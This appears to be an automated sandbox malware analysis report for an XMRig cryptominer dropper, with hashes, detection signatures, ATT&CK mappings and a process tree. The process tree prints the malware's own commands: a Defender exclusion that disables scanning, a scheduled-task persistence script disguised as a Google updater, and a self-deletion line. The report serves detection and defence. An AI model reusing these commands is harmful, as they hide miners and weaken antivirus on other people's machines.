xmrig | ae23dce6045773f7debde8d12221f2e8a0c356a2b048d2863fb35fb0840fde3e

max time kernel
495s
max time network
1796s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
27-01-2024 11:19

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General

Target

grhddhsGHswgh/qM5GMXBk6hJE6Y5e (21).exe
Size

2.0MB
MD5

a16a669a09bf158058b83e04e69fe38e
SHA1

f6c94763850d9e590d86057139e8895a7aacdeea
SHA256

cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
SHA512

658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP

49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 2976 created 1204	2976	qM5GMXBk6hJE6Y5e (21).exe	10
PID 2976 created 1204	2976	qM5GMXBk6hJE6Y5e (21).exe	10
PID 2976 created 1204	2976	qM5GMXBk6hJE6Y5e (21).exe	10
PID 2976 created 1204	2976	qM5GMXBk6hJE6Y5e (21).exe	10
PID 1028 created 1204	1028	updater.exe	10
PID 1028 created 1204	1028	updater.exe	10
PID 1028 created 1204	1028	updater.exe	10
PID 1028 created 1204	1028	updater.exe	10
PID 1200 created 1204	1200	conhost.exe	10
PID 1028 created 1204	1028	updater.exe	10

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 29 IoCs

miner

resource	yara_rule
behavioral13/memory/1968-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-74-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-78-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-80-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-82-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-84-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-86-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-88-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-90-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-92-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-94-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-96-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-98-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-100-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-137-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-144-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-151-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-153-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral13/memory/1968-155-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
2836	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1028	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2492	taskeng.exe

UPX packed file 30 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral13/memory/1968-67-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-74-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-78-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-80-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-82-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-84-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-86-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-88-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-90-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-92-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-94-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-96-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-98-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-100-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-120-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-122-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-124-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-126-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-128-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-130-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-137-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-144-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-151-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-153-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral13/memory/1968-155-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1028 set thread context of 1200	1028	updater.exe	53
PID 1028 set thread context of 1968	1028	updater.exe	49

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Chrome\updater.exe	qM5GMXBk6hJE6Y5e (21).exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
1020	schtasks.exe
2856	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2900	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = b0a877271751da01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
2976	qM5GMXBk6hJE6Y5e (21).exe
2976	qM5GMXBk6hJE6Y5e (21).exe
1724	powershell.exe
2976	qM5GMXBk6hJE6Y5e (21).exe
2976	qM5GMXBk6hJE6Y5e (21).exe
2080	powershell.exe
2976	qM5GMXBk6hJE6Y5e (21).exe
2976	qM5GMXBk6hJE6Y5e (21).exe
2976	qM5GMXBk6hJE6Y5e (21).exe
2976	qM5GMXBk6hJE6Y5e (21).exe
1640	powershell.exe
1028	updater.exe
1028	updater.exe
1636	powershell.exe
1028	updater.exe
1028	updater.exe
2252	powershell.exe
1028	updater.exe
1028	updater.exe
1028	updater.exe
1028	updater.exe
1200	conhost.exe
1200	conhost.exe
1028	updater.exe
1028	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	1724	powershell.exe
Token: SeDebugPrivilege	2080	powershell.exe
Token: SeDebugPrivilege	1640	powershell.exe
Token: SeDebugPrivilege	1636	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	1028	updater.exe
Token: SeAssignPrimaryTokenPrivilege	2900	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2900	WMIC.exe
Token: SeSecurityPrivilege	2900	WMIC.exe
Token: SeTakeOwnershipPrivilege	2900	WMIC.exe
Token: SeLoadDriverPrivilege	2900	WMIC.exe
Token: SeSystemtimePrivilege	2900	WMIC.exe
Token: SeBackupPrivilege	2900	WMIC.exe
Token: SeRestorePrivilege	2900	WMIC.exe
Token: SeShutdownPrivilege	2900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2900	WMIC.exe
Token: SeUndockPrivilege	2900	WMIC.exe
Token: SeManageVolumePrivilege	2900	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	2900	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2900	WMIC.exe
Token: SeSecurityPrivilege	2900	WMIC.exe
Token: SeTakeOwnershipPrivilege	2900	WMIC.exe
Token: SeLoadDriverPrivilege	2900	WMIC.exe
Token: SeSystemtimePrivilege	2900	WMIC.exe
Token: SeBackupPrivilege	2900	WMIC.exe
Token: SeRestorePrivilege	2900	WMIC.exe
Token: SeShutdownPrivilege	2900	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2900	WMIC.exe
Token: SeUndockPrivilege	2900	WMIC.exe
Token: SeManageVolumePrivilege	2900	WMIC.exe
Token: SeLockMemoryPrivilege	1968	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2856	2080	powershell.exe	32
PID 2080 wrote to memory of 2856	2080	powershell.exe	32
PID 2080 wrote to memory of 2856	2080	powershell.exe	32
PID 2836 wrote to memory of 2728	2836	cmd.exe	33
PID 2836 wrote to memory of 2728	2836	cmd.exe	33
PID 2836 wrote to memory of 2728	2836	cmd.exe	33
PID 1640 wrote to memory of 2656	1640	powershell.exe	35
PID 1640 wrote to memory of 2656	1640	powershell.exe	35
PID 1640 wrote to memory of 2656	1640	powershell.exe	35
PID 2492 wrote to memory of 1028	2492	taskeng.exe	38
PID 2492 wrote to memory of 1028	2492	taskeng.exe	38
PID 2492 wrote to memory of 1028	2492	taskeng.exe	38
PID 2252 wrote to memory of 1020	2252	powershell.exe	45
PID 2252 wrote to memory of 1020	2252	powershell.exe	45
PID 2252 wrote to memory of 1020	2252	powershell.exe	45
PID 1028 wrote to memory of 1200	1028	updater.exe	53
PID 2156 wrote to memory of 2900	2156	cmd.exe	47
PID 2156 wrote to memory of 2900	2156	cmd.exe	47
PID 2156 wrote to memory of 2900	2156	cmd.exe	47
PID 1028 wrote to memory of 1968	1028	updater.exe	49

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1204
- C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe
  "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:2976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2080
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2856
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhddhsGHswgh\qM5GMXBk6hJE6Y5e (21).exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:2836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1636
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2252
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:1020
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1968
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:1344
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:2156
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:1200

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2728

C:\Windows\system32\taskeng.exe
taskeng.exe {8843A3E4-C4A4-436F-9574-DF63F828968B} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2492
- C:\Program Files\Google\Chrome\updater.exe
  "C:\Program Files\Google\Chrome\updater.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1028

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
1⤵
PID:2656

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2900

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Program Files\Google\Chrome\updater.exe

Filesize
547KB

MD5
348aeacd12c6b51b53ee62e17672e96d

SHA1
97faed92081e51b488c4760c49255ce6ff2e2183

SHA256
cbacaeefc742db995a2c5e6efe444bd73d9c9a32172cf22cb417885fb7042f7b

SHA512
309ea35b448fd075d2fb94a8274c60413753bd8c1e4992e072ec5128954821dd65b73d19c5d99fbb477149a7861abe6181af600ca2c7d444400c04c5f22119da

Download Submit
C:\Program Files\Google\Chrome\updater.exe

Filesize
1.3MB

MD5
fcd0f446cd5a7f6c234999ee57fd04d5

SHA1
eebbf6f2fe08d40e110813de1bf5d13bbf542548

SHA256
6e653bc3cb1ec05578bf7464c4d74531642e11cb08caed63be20d55087d6c3e9

SHA512
2a31e7c86d710403cbe8a4d20aa26d5e86ba9d21011647bc9de7e889260da6c62eeb8ddb671cbe84a7d66d8902b338b60c83030506d1d8503f0670783d367723

Download Submit
C:\Program Files\Google\Libs\g.log

Filesize
198B

MD5
37dd19b2be4fa7635ad6a2f3238c4af1

SHA1
e5b2c034636b434faee84e82e3bce3a3d3561943

SHA256
8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

SHA512
86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\IHGCOPQSE05RRSIZ0ZOR.temp

Filesize
7KB

MD5
ffc8d3aa2ca3532a80c993ac158ffc7a

SHA1
fd018f5fb25dd87701539be56a70db1cbdc8d30c

SHA256
67fdbfcc115d6b6282c1baeadd137566e92c84d4c7297d0a1fc1fec2dc576c33

SHA512
eb94cda604e3c41ec3c7caecdeee18dca72801a9562a5244019ff3f321890f423ff7fc02cae2c5a057a24d6bff490daed76fa62da0c508d6c564a58de02890df

Download Submit
\Program Files\Google\Chrome\updater.exe

Filesize
725KB

MD5
48a59f0a2dbd6ba0d47c2c749436a729

SHA1
e3521c0a54b4114691ffd1bcd3aef2f680deeae5

SHA256
42ecc239b9bac111fb0a7ae42c5bd2a7e06fd6d74a0c5f750acbbdeae8bdc0ce

SHA512
851e08e5fd564f606bf6210abfaabe6463b500ec15c501db9f856f1d51cf8da5274b18fcf3193947c8031e30ddd283b11c9fa9b20cccf21180e3d02eabf0f424

Download Submit
memory/1028-45-0x000000013F2C0000-0x000000013F4D1000-memory.dmp

Filesize
2.1MB

Download
memory/1028-66-0x000000013F2C0000-0x000000013F4D1000-memory.dmp

Filesize
2.1MB

Download
memory/1200-71-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1200-77-0x0000000140000000-0x0000000140016000-memory.dmp

Filesize
88KB

Download
memory/1636-49-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1636-48-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-50-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1636-52-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1636-51-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1636-47-0x0000000001460000-0x00000000014E0000-memory.dmp

Filesize
512KB

Download
memory/1636-46-0x000007FEF4E70000-0x000007FEF580D000-memory.dmp

Filesize
9.6MB

Download
memory/1640-40-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1640-39-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1640-41-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1640-37-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1640-35-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1640-36-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1640-38-0x0000000002AA0000-0x0000000002B20000-memory.dmp

Filesize
512KB

Download
memory/1724-13-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-9-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-11-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1724-10-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1724-12-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1724-8-0x0000000002B50000-0x0000000002BD0000-memory.dmp

Filesize
512KB

Download
memory/1724-7-0x000007FEF5810000-0x000007FEF61AD000-memory.dmp

Filesize
9.6MB

Download
memory/1724-6-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/1724-5-0x000000001B570000-0x000000001B852000-memory.dmp

Filesize
2.9MB

Download
memory/1968-88-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-80-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-155-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-153-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-151-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-144-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-137-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-130-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-128-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-126-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-124-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-122-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-120-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-113-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-68-0x0000000000300000-0x0000000000320000-memory.dmp

Filesize
128KB

Download
memory/1968-67-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-111-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-109-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-69-0x0000000000840000-0x0000000000860000-memory.dmp

Filesize
128KB

Download
memory/1968-70-0x0000000000860000-0x0000000000880000-memory.dmp

Filesize
128KB

Download
memory/1968-107-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-72-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-74-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-75-0x0000000000840000-0x0000000000860000-memory.dmp

Filesize
128KB

Download
memory/1968-76-0x0000000000860000-0x0000000000880000-memory.dmp

Filesize
128KB

Download
memory/1968-100-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-78-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-98-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-82-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-84-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-86-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
memory/1968-96-0x0000000140000000-0x00000001407F4000-memory.dmp

Filesize
8.0MB

Download
